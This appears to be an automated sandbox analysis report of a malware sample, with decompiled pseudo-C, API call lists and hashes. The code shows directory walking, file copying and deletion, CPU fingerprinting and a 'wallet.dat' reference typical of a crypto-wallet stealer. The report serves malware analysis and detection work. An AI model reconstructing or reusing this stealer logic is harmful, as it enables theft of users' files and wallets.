0x00a43d86
0x00a43d8d
0x00a43d8f
0x00a43f73
0x00a43f76
0x00a43f7f
0x00a43f9d
0x00000000
0x00a43f9d
0x00a43da1
0x00a43da9
0x00a43db4
0x00a43dba
0x00a43dc1
0x00a43dc3
0x00000000
0x00000000
0x00a43dd6
0x00a43de5
0x00a43df2
0x00a43dfb
0x00a43e00
0x00a43e08
0x00a43e1b
0x00a43e20
0x00a43e22
0x00a43e25
0x00a43e28
0x00000000
0x00000000
0x00000000
0x00000000
0x00a43e2e
0x00a43e2e
0x00a43e2e
0x00a43e35
0x00a43e3b
0x00a43e43
0x00a43e58
0x00a43e5a
0x00a43e5c
0x00a43e6e
0x00a43e82
0x00a43e89
0x00a43e8c
0x00a43e90
0x00a43e97
0x00a43e97
0x00a43e9d
0x00a43ea8
0x00a43eb7
0x00a43eba
0x00a43ebc
0x00a43ec3
0x00a43edf
0x00a43ee8
0x00a43eed
0x00a43ef1
0x00a43efa
0x00a43f00
0x00a43f00
0x00a43e5c
0x00a43e43
0x00a43f10
0x00a43f12
0x00a43f12
0x00a43f1b
0x00a43f24
0x00a43f2d
0x00a43f36
0x00a43f3f
0x00a43f48
0x00a43f5d
0x00a43f5d
0x00a43f61
0x00a43f61
0x00000000

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00A43CFE
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A43D18
LocalAlloc.KERNEL32(00000040,00000000), ref: 00A43D33

Strings

., xrefs: 00A43E3B

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: AllocLocal
String ID: .
API String ID: 3494564517-248832578
Opcode ID: 72af32f5135d199ce38f41a964228ef176c73dab43a59c069442a0a98f58dd26
Instruction ID: 1bec022beb82fdd4c09d8d73d5f445f04fc960702c2af6018df0d2dcbdbd084e
Opcode Fuzzy Hash: 72af32f5135d199ce38f41a964228ef176c73dab43a59c069442a0a98f58dd26
Instruction Fuzzy Hash: 0A91507EA40205AFDF08DFE8DC899AE7BB5FBC9300B004559F915A72A0DB765D06CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A4AF2C Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 00A4AF74
LocalFree.KERNEL32(00000000), ref: 00A4AFCF
LocalFree.KERNEL32(00000000), ref: 00A4AFD6

Strings

wallet.dat, xrefs: 00A4B069

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$FolderPathSpecial
String ID: wallet.dat
API String ID: 1941890384-126057665
Opcode ID: 105ac72e6dfb0b2b06c8cbbbf709a82c602300d213a44d73703dd543a7a4e3ad
Instruction ID: 91230e0457a200457ba1526c1a9d59d0a6f3aa3945cfb49b9bb5218050d1213c
Opcode Fuzzy Hash: 105ac72e6dfb0b2b06c8cbbbf709a82c602300d213a44d73703dd543a7a4e3ad
Instruction Fuzzy Hash: 80A1907DA80205AFEB14DBE4DC89FAE7BB5FBC9310F104154F625A7290DBB59902CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A439E5 Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 223
fileCOMMON

Download Yara Rule

C-Code - Quality: 30%

			E00A439E5(intOrPtr __ecx, intOrPtr __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, void* _a12, intOrPtr* _a16) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v32;
				void* _v36;
				intOrPtr _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v52;
				void* _v56;
				char _v608;
				signed char _v652;
				void* _t47;
				void* _t50;
				void* _t57;
				void* _t60;
				void* _t68;
				void* _t70;
				void* _t71;
				void* _t72;
				void* _t74;
				void* _t76;
				void* _t78;
				void* _t80;
				intOrPtr _t81;
				intOrPtr _t84;
				intOrPtr _t98;
				intOrPtr _t101;
				void* _t102;
				intOrPtr _t129;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				intOrPtr _t139;
				void* _t143;
				DWORD* _t144;
				void* _t145;
				void* _t149;

				_t101 = __ecx;
				_v24 = __edx;
				_v40 = __ecx;
				_t47 = E00A4A5DB( *((intOrPtr*)( *0xa4e048))(0x40, 0x208), __ecx);
				_t129 =  *0xa4e1c4; // 0x796018
				_t143 = E00A4A5DB(_t47, _t129);
				_v20 = _t143;
				_t50 =  *((intOrPtr*)( *0xa4e01c))(_t143,  &_v652);
				_v16 = _t50;
				if(_t50 != 0xffffffff) {
					_t144 = 0;
					do {
						if((_v652 & 0x00000010) != 0) {
							goto L11;
						} else {
							_push(L"..");
							_push( &_v608);
							if( *((intOrPtr*)( *0xa4e0a4))() == 0) {
								goto L11;
							} else {
								_t57 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t149 =  *((intOrPtr*)( *0xa4e008))(_t57, _t101,  &_v608);
								_v36 = _t149;
								_v8 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
								_t60 = E00A4A7C4( *0xa4e048,  &_v8);
								_t102 = _v8;
								if(_t60 == 0) {
									L16:
									LocalFree(_t102);
									LocalFree(_t149);
									DeleteFileW(_t102);
								} else {
									_push(_t144);
									_push(_t102);
									_push(_t149);
									if( *((intOrPtr*)( *0xa4e178))() == 0) {
										goto L16;
									} else {
										_t68 =  *((intOrPtr*)( *0xa4e040))(_t102, 0x80000000, 1, _t144, 4, _t144, _t144);
										_v32 = _t68;
										GetFileSize(_t68, _t144);
										_t70 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x208);
										_t71 =  *((intOrPtr*)( *0xa4e13c))(_t70,  *0xa4e1ac);
										_t132 =  *0xa4e1a8; // 0x79e580
										_t72 = E00A4A5DB(_t71, _t132);
										_t133 =  *0xa4e1ac; // 0x796058
										_t74 = E00A4A5DB(E00A4A5DB(_t72, _t133), _v24);
										_t135 =  *0xa4e1e0; // 0x795fd8
										_t76 = E00A4A5DB(E00A4A5DB(_t74, _t135), _a4);
										_t137 =  *0xa4e1e0; // 0x795fd8
										_t78 = E00A4A5DB(E00A4A5DB(_t76, _t137), _a8);
										_t139 =  *0xa4e1ac; // 0x796058
										_t80 = E00A4A5DB(E00A4A5DB(_t78, _t139),  &_v608);
										_v12 = _t80;
										_t81 =  *((intOrPtr*)( *0xa4e0e8))(0xfde9, _t144, _t80, 0xffffffff, _t144, _t144, _t144, _t144);
										_v28 = _t81;
										_t22 = _t81 + 0x40; // 0x40
										_t145 =  *((intOrPtr*)( *0xa4e048))(0x40, _t22);
										_v8 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
										_t84 = _v28;
										if(_t84 == 0) {
											LocalFree(_t145);
											LocalFree(_v8);
											goto L10;
										} else {
											_push(0);
											_push(0);
											_push(_t84);
											_push(_t145);
											_push(0xffffffff);
											_push(_v12);
											_push(0);
											_push(0xfde9);
											if( *((intOrPtr*)( *0xa4e0e8))() == 0) {
												LocalFree(_v12);
												LocalFree(_t145);
												LocalFree(_t102);
												LocalFree(_t149);
												LocalFree(_v8);
												break;
											} else {
												_v52 = _v32;
												_v56 = _t145;
												_t98 =  *((intOrPtr*)( *0xa4e13c))(_v8, _t102);
												_t126 = _a16;
												_v44 = _v44 & 0x00000000;
												_v48 = _t98;
												 *_t126 =  *_a16 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t149 = _v36;
												L10:
												LocalFree(_t102);
												LocalFree(_t149);
												_t101 = _v40;
												_t144 = 0;
												goto L11;
											}
										}
									}
								}
							}
						}
						L13:
						LocalFree(_v20);
						goto L14;
						L11:
						_push( &_v652);
						_push(_v16);
					} while ( *((intOrPtr*)( *0xa4e144))() != 0);
					FindClose(_v16);
					goto L13;
				}
				L14:
				return 0;
			}

0x00a439fb
0x00a439fd
0x00a43a02
0x00a43a0b
0x00a43a10
0x00a43a23
0x00a43a2b
0x00a43a30
0x00a43a32
0x00a43a38
0x00a43a3e
0x00a43a40
0x00a43a47
0x00000000
0x00a43a4d
0x00a43a58
0x00a43a5d
0x00a43a62
0x00000000
0x00a43a68
0x00a43a74
0x00a43a8d
0x00a43a96
0x00a43a9e
0x00a43aa1
0x00a43aa6
0x00a43aab
0x00a43c86
0x00a43c87
0x00a43c8e
0x00a43c95
0x00a43ab1
0x00a43ab6
0x00a43ab7
0x00a43ab8
0x00a43abd
0x00000000
0x00a43ac3
0x00a43ad5
0x00a43ad9
0x00a43adc
0x00a43aef
0x00a43afe
0x00a43b00
0x00a43b08
0x00a43b0d
0x00a43b1f
0x00a43b24
0x00a43b36
0x00a43b3b
0x00a43b4d
0x00a43b52
0x00a43b67
0x00a43b7f
0x00a43b82
0x00a43b8a
0x00a43b8d
0x00a43b9b
0x00a43ba6
0x00a43ba9
0x00a43bae
0x00a43c09
0x00a43c12
0x00000000
0x00a43bb0
0x00a43bb8
0x00a43bb9
0x00a43bba
0x00a43bbb
0x00a43bbc
0x00a43bbe
0x00a43bc1
0x00a43bc2
0x00a43bcb
0x00a43c60
0x00a43c67
0x00a43c6e
0x00a43c75
0x00a43c7e
0x00000000
0x00a43bd1
0x00a43bd8
0x00a43be0
0x00a43be3
0x00a43be5
0x00a43beb
0x00a43bef
0x00a43bfd
0x00a43bff
0x00a43c00
0x00a43c01
0x00a43c02
0x00a43c03
0x00a43c18
0x00a43c19
0x00a43c20
0x00a43c26
0x00a43c29
0x00000000
0x00a43c29
0x00a43bcb
0x00a43bae
0x00a43abd
0x00a43aab
0x00a43a62
0x00a43c4d
0x00a43c50
0x00000000
0x00a43c2b
0x00a43c36
0x00a43c37
0x00a43c3c
0x00a43c47
0x00000000
0x00a43c47
0x00a43c58
0x00a43c5c

APIs

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

GetFileSize.KERNEL32(00000000,00000000), ref: 00A43ADC
LocalFree.KERNEL32(00000000), ref: 00A43C09
LocalFree.KERNEL32(?), ref: 00A43C12
LocalFree.KERNEL32(?), ref: 00A43C19
LocalFree.KERNEL32(00000000), ref: 00A43C20
FindClose.KERNEL32(00000002), ref: 00A43C47
LocalFree.KERNEL32(00000002), ref: 00A43C50
LocalFree.KERNEL32(?), ref: 00A43C60
LocalFree.KERNEL32(00000000), ref: 00A43C67
LocalFree.KERNEL32(?), ref: 00A43C6E
LocalFree.KERNEL32(00000000), ref: 00A43C75
LocalFree.KERNEL32(?), ref: 00A43C7E
LocalFree.KERNEL32(?), ref: 00A43C87
LocalFree.KERNEL32(00000000), ref: 00A43C8E
DeleteFileW.KERNEL32(?), ref: 00A43C95

Part of subcall function 00A4A7C4: LocalFree.KERNEL32(00000000,?,?,00A4B3F8), ref: 00A4A827

Strings

X`y, xrefs: 00A43B0D, 00A43B52

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: Free$Local$Filelstrlen$CloseDeleteFindGlobalSize
String ID: X`y
API String ID: 1958670688-3519677477
Opcode ID: 33efdc18fe3e560f0a35c607cc70baf6455e543130e74f41501b059b45ee5fdb
Instruction ID: f1631c24d7043270aee1565d7f04e41a763174f29160a191609c5868fb81bfaf
Opcode Fuzzy Hash: 33efdc18fe3e560f0a35c607cc70baf6455e543130e74f41501b059b45ee5fdb
Instruction Fuzzy Hash: 94719E7DA40205EFDB04DBE4DD88EAE77B6BBDA300F108158F515A7290DB759E02CB21

Uniqueness

Uniqueness Score: -1.00%

Function 00A49DEA Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 232
COMMON

Download Yara Rule

C-Code - Quality: 26%

			E00A49DEA(void* __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr* _a20) {
				char _v576;
				char _v584;
				char _v616;
				signed char _v620;
				intOrPtr _v628;
				void* _v632;
				void* _v648;
				intOrPtr _v672;
				char _v676;
				intOrPtr _v696;
				void* _v704;
				intOrPtr _v708;
				void* _v712;
				void* _v720;
				void* _v724;
				void* _v728;
				char _v744;
				intOrPtr _v756;
				intOrPtr _v768;
				void* _v776;
				intOrPtr _v784;
				signed int _v792;
				void* _v796;
				void* _v800;
				void* _v804;
				intOrPtr _v808;
				void* _v812;
				void* _v828;
				void* _v836;
				void* __ebx;
				void* __esi;
				void* _t62;
				void* _t68;
				char _t69;
				void* _t70;
				intOrPtr _t72;
				intOrPtr _t73;
				signed int _t74;
				void* _t76;
				void* _t86;
				void* _t112;
				void* _t113;
				void* _t114;
				intOrPtr _t151;
				void* _t153;
				void* _t154;
				void* _t159;
				void* _t161;
				void* _t163;
				void* _t164;
				signed int _t166;
				void* _t168;

				_t168 = (_t166 & 0xfffffff8) - 0x284;
				_v628 = __edx;
				_t62 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a, _t153, _t159, _t112);
				_t113 =  *((intOrPtr*)( *0xa4e13c))(_t62, __ecx);
				_v632 = _t113;
				E00A4189A(_t113, _t113, 0x104, __ecx,  *0xa4e1c4);
				_t154 =  *((intOrPtr*)( *0xa4e01c))(_t113,  &_v616);
				_v648 = _t154;
				if(_t154 != 0xffffffff) {
					_t114 = __ecx;
					do {
						if((_v620 & 0x00000010) == 0) {
							_t68 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
							_t69 =  *((intOrPtr*)( *0xa4e008))(_t68, _t114,  &_v584);
							_v676 = _t69;
							_t70 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
							_t72 = E00A4A5DB( *((intOrPtr*)( *0xa4e13c))(_t70,  *0xa4e1ac), _a4);
							_v708 = _t72;
							_t73 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x618);
							_v708 = _t73;
							_t74 =  *((intOrPtr*)( *0xa4e090))(0);
							_t161 = _v704;
							if(E00A4A383(_t161 + _t74 * 2,  &_v712, _v696) != 0) {
								_t76 = E00A4A5DB(_v720, _v712);
								_v720 = _t76;
								_v724 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x20a);
								if(E00A4A7C4( *0xa4e048,  &_v724) != 0) {
									_t164 = _v724;
									_push(0);
									_push(_t164);
									_push(_v712);
									if( *((intOrPtr*)( *0xa4e178))() != 0) {
										_v756 =  *((intOrPtr*)( *0xa4e040))(_t164, 0x80000000, 1, 0, 4, 0, 0);
										 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _v768, 0xffffffff, 0, 0, 0, 0);
										_v776 = 0;
										 *((intOrPtr*)( *0xa4e048))(0x40, 0x30c);
										_t151 = _v784;
										_v804 = 0;
										if(_t151 != 0) {
											 *((intOrPtr*)( *0xa4e0e8))(0xfde9, 0, _v808, 0xffffffff, 0, _t151, 0, 0);
											if(0 == 0 || E00A4A834( &_v744, _a8) == 0) {
												LocalFree(_v836);
												CloseHandle(_v828);
												DeleteFileW(_t164);
												LocalFree(_t164);
											} else {
												_t139 = _a20;
												_v792 = _v792 & 0x00000000;
												_v804 = _v836;
												_v800 = _v828;
												_v796 = _t164;
												 *_t139 =  *_a20 + 1;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t154 = _v812;
											}
										}
									}
								}
								LocalFree(_v712);
							} else {
								LocalFree(_t161);
							}
							LocalFree(_v728);
							LocalFree(_v720);
							L18:
							goto L19;
						}
						if(_v576 != 0x2e && E00A4A834( &_v576, _a12) == 0) {
							_t86 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x410);
							_t163 =  *((intOrPtr*)( *0xa4e008))(_t86, _t114,  &_v584);
							E00A49DEA(_t163, _v672, _a4, _a8, _a12, _a16, _a20);
							_t168 = _t168 + 0x14;
							LocalFree(_t163);
							goto L18;
						}
						L19:
						_push( &_v676);
						_push(_t154);
					} while ( *((intOrPtr*)( *0xa4e144))() != 0);
					LocalFree(_v704);
					FindClose(_t154);
					goto L21;
				} else {
					LocalFree(_t113);
					L21:
					return 0;
				}
			}

0x00a49df0
0x00a49e05
0x00a49e0b
0x00a49e1d
0x00a49e26
0x00a49e2a
0x00a49e3d
0x00a49e3f
0x00a49e46
0x00a49e54
0x00a49e56
0x00a49e5b
0x00a49ecb
0x00a49eda
0x00a49ee9
0x00a49eed
0x00a49f03
0x00a49f15
0x00a49f19
0x00a49f27
0x00a49f2b
0x00a49f2d
0x00a49f40
0x00a49f50
0x00a49f62
0x00a49f6c
0x00a49f77
0x00a49f7d
0x00a49f86
0x00a49f88
0x00a49f89
0x00a49f91
0x00a49fb3
0x00a49fc9
0x00a49fd8
0x00a49fdc
0x00a49fde
0x00a49fe2
0x00a49fe8
0x00a4a007
0x00a4a00b
0x00a4a059
0x00a4a064
0x00a4a06b
0x00a4a072
0x00a4a01d
0x00a4a01d
0x00a4a024
0x00a4a029
0x00a4a031
0x00a4a040
0x00a4a048
0x00a4a04a
0x00a4a04b
0x00a4a04c
0x00a4a04d
0x00a4a04e
0x00a4a04e
0x00a4a00b
0x00a49fe8
0x00a49f91
0x00a4a07c
0x00a49f42
0x00a4a07c
0x00a4a07c
0x00a4a086
0x00a4a090
0x00a4a090
0x00000000
0x00a4a090
0x00a49e63
0x00a49e89
0x00a49ea1
0x00a49eb1
0x00a49eb6
0x00a4a090
0x00000000
0x00a4a090
0x00a4a096
0x00a4a09f
0x00a4a0a0
0x00a4a0a3
0x00a4a0b0
0x00a4a0b7
0x00000000
0x00a49e48
0x00a49e49
0x00a4a0bd
0x00a4a0c5
0x00a4a0c5

APIs

LocalFree.KERNEL32(00000000), ref: 00A49E49
LocalFree.KERNEL32(?), ref: 00A4A090
LocalFree.KERNEL32(?), ref: 00A4A0B0
FindClose.KERNEL32(00000000), ref: 00A4A0B7

Strings

., xrefs: 00A49E5D

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$CloseFind
String ID: .
API String ID: 3269183270-248832578
Opcode ID: 576e9512e00897ce793e219d4e6926ac083ec9a589a3fc1a5908f1d27b1a8c62
Instruction ID: b74e0a66f21678fcb3476b55474b9d42846b451223b20cbd2322f4ed913bb07c
Opcode Fuzzy Hash: 576e9512e00897ce793e219d4e6926ac083ec9a589a3fc1a5908f1d27b1a8c62
Instruction Fuzzy Hash: 6C818879284301AFE714DFA4DC89E6B77E9BBC9310F10491CF665972A0DBB2D805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A49188 Relevance: 13.6, APIs: 9, Instructions: 129
stringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E00A49188(char __edx, intOrPtr* _a4) {
				void* _v8;
				void* _v12;
				char _v28;
				struct _SYSTEM_INFO _v64;
				int _t30;
				int _t38;
				int _t44;
				void* _t49;
				char _t54;
				CHAR* _t56;
				CHAR* _t57;
				CHAR* _t60;
				CHAR* _t62;
				void* _t63;
				char _t73;
				void* _t75;
				void* _t76;
				signed int _t77;
				void* _t79;
				void* _t81;
				void* _t83;
				intOrPtr* _t88;

				_t73 = __edx;
				asm("movaps xmm0, [0xa4d770]");
				asm("movups [ebp-0x18], xmm0");
				_t76 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x800, _t75, _t81, _t54);
				_v12 = _t76;
				_v8 =  *((intOrPtr*)( *0xa4e048))(0x40, 0x104);
				asm("cpuid");
				_t56 =  &_v28;
				 *_t56 = 0x80000002;
				_t56[4] = _t54;
				_t56[8] = 0;
				_t56[0xc] = __edx;
				_t30 =  *((intOrPtr*)( *0xa4e18c))(_t56, _t54);
				_t57 = _v8;
				if(lstrcpynA(_t57, _t56, _t30) == 0) {
					L4:
					_t83 = _t57;
					goto L5;
				} else {
					asm("cpuid");
					_t60 =  &_v28;
					 *_t60 = 0x80000003;
					_t60[4] = _t57;
					_t60[8] = 0;
					_t60[0xc] = _t73;
					_t38 =  *((intOrPtr*)( *0xa4e18c))(_t60, _t57);
					_t83 = _v8;
					_t13 = _t83 + 0x10; // 0x10
					if(lstrcpynA(_t13, _t60, _t38) == 0) {
						L5:
						LocalFree(_t76);
						_t77 = _t76 | 0xffffffff;
					} else {
						asm("cpuid");
						_t62 =  &_v28;
						 *_t62 = 0x80000004;
						_t62[4] = _t60;
						_t62[8] = 0;
						_t62[0xc] = _t73;
						_t44 =  *((intOrPtr*)( *0xa4e18c))(_t62, _t60);
						_t57 = _v8;
						_t19 =  &(_t57[0x20]); // 0x20
						if(lstrcpynA(_t19, _t62, _t44) == 0) {
							goto L4;
						} else {
							GetSystemInfo( &_v64);
							_t49 = E00A4A59A(_t57);
							_t63 = _v12;
							_t79 = _t49;
							wsprintfW(_t63,  *0xa4eb10, _t79, _v64.dwNumberOfProcessors);
							_t88 = _a4;
							 *_t88 = E00A4A5DB( *_t88, _t63);
							LocalFree(_t63);
							LocalFree(_t79);
							_t83 = _v8;
							_t77 = 1;
						}
					}
				}
				LocalFree(_t83);
				return _t77;
			}

0x00a49188
0x00a4918e
0x00a491a4
0x00a491b0
0x00a491b9
0x00a491be
0x00a491c9
0x00a491ce
0x00a491d1
0x00a491d8
0x00a491db
0x00a491e1
0x00a491e4
0x00a491e9
0x00a491f6
0x00a492c3
0x00a492c3
0x00000000
0x00a491fc
0x00a49204
0x00a49209
0x00a4920c
0x00a49213
0x00a49216
0x00a4921c
0x00a4921f
0x00a49221
0x00a49228
0x00a49234
0x00a492c5
0x00a492c6
0x00a492cc
0x00a4923a
0x00a49242
0x00a49247
0x00a4924a
0x00a49251
0x00a49254
0x00a4925a
0x00a4925d
0x00a49262
0x00a49266
0x00a49272
0x00000000
0x00a49274
0x00a49278
0x00a49283
0x00a49288
0x00a4928b
0x00a49296
0x00a4929c
0x00a492ac
0x00a492ae
0x00a492b5
0x00a492bb
0x00a492c0
0x00a492c0
0x00a49272
0x00a49234
0x00a492d0
0x00a492dc

APIs

lstrcpynA.KERNEL32(00000000,00A49929,00000000,?,?,?,?,?,?,?,?,?,00A49929,00000000,00000000,00000000), ref: 00A491EE
lstrcpynA.KERNEL32(00000010,00A49929,00000000,?,?,?,?,?,?,?,?,?,00A49929,00000000,00000000,00000000), ref: 00A4922C
lstrcpynA.KERNEL32(00000020,00A49929,00000000,?,?,?,?,?,?,?,?,?,00A49929,00000000,00000000,00000000), ref: 00A4926A
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,00A49929,00000000,00000000,00000000,00000000,00000000), ref: 00A49278

Part of subcall function 00A4A59A: LocalAlloc.KERNELBASE(00000040,?,?,00A44D69,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya), ref: 00A4A5B9
Part of subcall function 00A4A59A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00795D58,000000FF,00000000,00000000,?,?,00A44D69,00000000,00000000,edinayarossiya,00000000,00000000,edinayarossiya,00000000), ref: 00A4A5C9

wsprintfW.USER32 ref: 00A49296

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00A49929,00000000), ref: 00A492AE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00A49929,00000000), ref: 00A492B5
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00A49929,00000000,00000000,00000000,00000000,00000000), ref: 00A492C6
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00A49929,00000000,00000000,00000000,00000000,00000000), ref: 00A492D0

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415460637.0000000000A50000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_zRZljp49Uz.jbxd

Similarity

API ID: FreeLocal$lstrcpyn$lstrlen$AllocByteCharGlobalInfoMultiSystemWidewsprintf
String ID:
API String ID: 850942500-0
Opcode ID: 1685627d3e013eacdd4d5563639e8668698c0751679bb7303b7ce0642f41d787
Instruction ID: cff191cb59c71829a475ad85cfcac03eb144ef657ae0292846de300139f1296d
Opcode Fuzzy Hash: 1685627d3e013eacdd4d5563639e8668698c0751679bb7303b7ce0642f41d787
Instruction Fuzzy Hash: 0F4183BDA40204EFDB14DFA8DCC496ABBB8FBC9310B148569F909D7351DA719D05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A45D00 Relevance: 11.5, APIs: 9, Instructions: 274memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(007962B8,?,?,?,?,?,?,?,?,?,?,?,00A455EC,?,?,?), ref: 00A45E4C
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,?,?,00A455EC,?,?), ref: 00A45E71
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00A455EC,?,?,?), ref: 00A45F36

Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5EE
Part of subcall function 00A4A5DB: lstrlenW.KERNEL32(?,?,00000000,?,00000000,00000000,?,00A483B5), ref: 00A4A5F5
Part of subcall function 00A4A5DB: GlobalFree.KERNELBASE(?), ref: 00A4A628

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00A455EC,?,?,?), ref: 00A45F40
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A455EC,?,?,?,00000000,00000000,00000000), ref: 00A45F85
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,00A455EC,?,?,?,00000000,00000000,00000000), ref: 00A45FDC
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A455EC,?,?,?,00000000,00000000,00000000), ref: 00A45FE3
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,00A455EC,?,?,?,00000000,00000000,00000000), ref: 00A4603A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,00A455EC,?,?,?,00000000,00000000,00000000), ref: 00A46044

Memory Dump Source

Source File: 00000000.00000002.415442734.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.415438027.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415452048.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.415456270.0000000000A4E000.00000004.00000001.01000000.00000003.sdmpDownload File
